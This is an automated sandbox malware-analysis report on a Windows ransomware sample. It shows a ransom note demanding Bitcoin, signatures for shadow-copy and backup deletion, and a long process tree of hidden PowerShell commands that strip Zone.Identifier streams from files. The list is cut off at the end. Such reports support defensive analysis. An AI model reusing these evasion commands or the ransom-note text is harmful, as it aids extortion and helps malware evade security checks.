Overview

overview

10

Static

static

3

2026-08-07...ch.exe

windows10-2004-x64

10

2026-08-07...ch.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    74s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 01:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 3.7MB
  • Sample260808-brglcsfl4w
  • SHA256 0bf4dd30549f7df3440b3b5841721ec8774fad4cf5fda4236f489b6508f169d1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionevasionexecutionimpactransomware

Malware Config

Extracted

Path

  • C:\Recovery\RECOVER_YOUR_FILES.txt

Ransom Note
  • ============================================================ YOUR FILES HAVE BEEN ENCRYPTED — MACHINE WILL LOCK ============================================================ All documents, photos, databases and backups on this system were encrypted with AES-256-CTR + HMAC-SHA256 and RSA-4096-OAEP. Host ID: GLR-6550-218C-178D Hostname: Dijhfwdh DO NOT: - Rename encrypted files (*.locked) - Run third-party decryptors - Reinstall the OS (you will lose key mapping) - Kill the lock process without a valid unlock code PAYMENT (required to unlock the machine): 1. Install Tor Browser 2. Contact: [email protected] 3. Send BTC to: bc1qPLACEHOLDER 4. Amount: $2500 USD (or equivalent) 5. Include Host ID GLR-6550-218C-178D in your ticket Deadline: 72 hours after encryption. After the deadline the operator private key for this host is destroyed. On the lock screen: - Press C to copy the BTC address - Enter the unlock code you receive after payment + ENTER ============================================================ Proof of decryption available on request (1 free file). ============================================================

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

    Run Powershell and hide display window.

    execution
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry key 1 TTPs 23 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db-shm:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db-shm'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db-wal:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db-wal'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\1c83ac9e-71b9-4110-bc71-65d8015d43a9.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\1c83ac9e-71b9-4110-bc71-65d8015d43a9.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\2026-08-07_538911b7e2121bbee84765a649eedcba_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\3d396bad-b8dc-4e91-a3ef-54089e109a0d.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\3d396bad-b8dc-4e91-a3ef-54089e109a0d.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\53ace3aa-bc48-47be-b4b5-e745c58da159.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\53ace3aa-bc48-47be-b4b5-e745c58da159.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\983125408:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\983125408'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\AdobeSFX.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\AdobeSFX.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\BITD011.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\BITD011.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\BroadcastMsg_1778720249.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\BroadcastMsg_1778720249.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\DIJHFWDH-20260514-0058.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\DIJHFWDH-20260514-0058.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\DIJHFWDH-20260514-0058a.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\DIJHFWDH-20260514-0058a.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\JavaDeployReg.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\JavaDeployReg.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Low:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Low'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft .NET Framework 4.7.2 Setup_20260514_005328156.html:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft .NET Framework 4.7.2 Setup_20260514_005328156.html'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349_000_dotnet_runtime_6.0.27_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349_000_dotnet_runtime_6.0.27_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349_001_dotnet_hostfxr_6.0.27_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349_001_dotnet_hostfxr_6.0.27_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349_002_dotnet_host_6.0.27_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349_002_dotnet_host_6.0.27_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349_003_windowsdesktop_runtime_6.0.27_win_x64.msi.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\Microsoft_Windows_Desktop_Runtime_-_6.0.27_(x64)_20260514005349_003_windowsdesktop_runtime_6.0.27_win_x64.msi.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
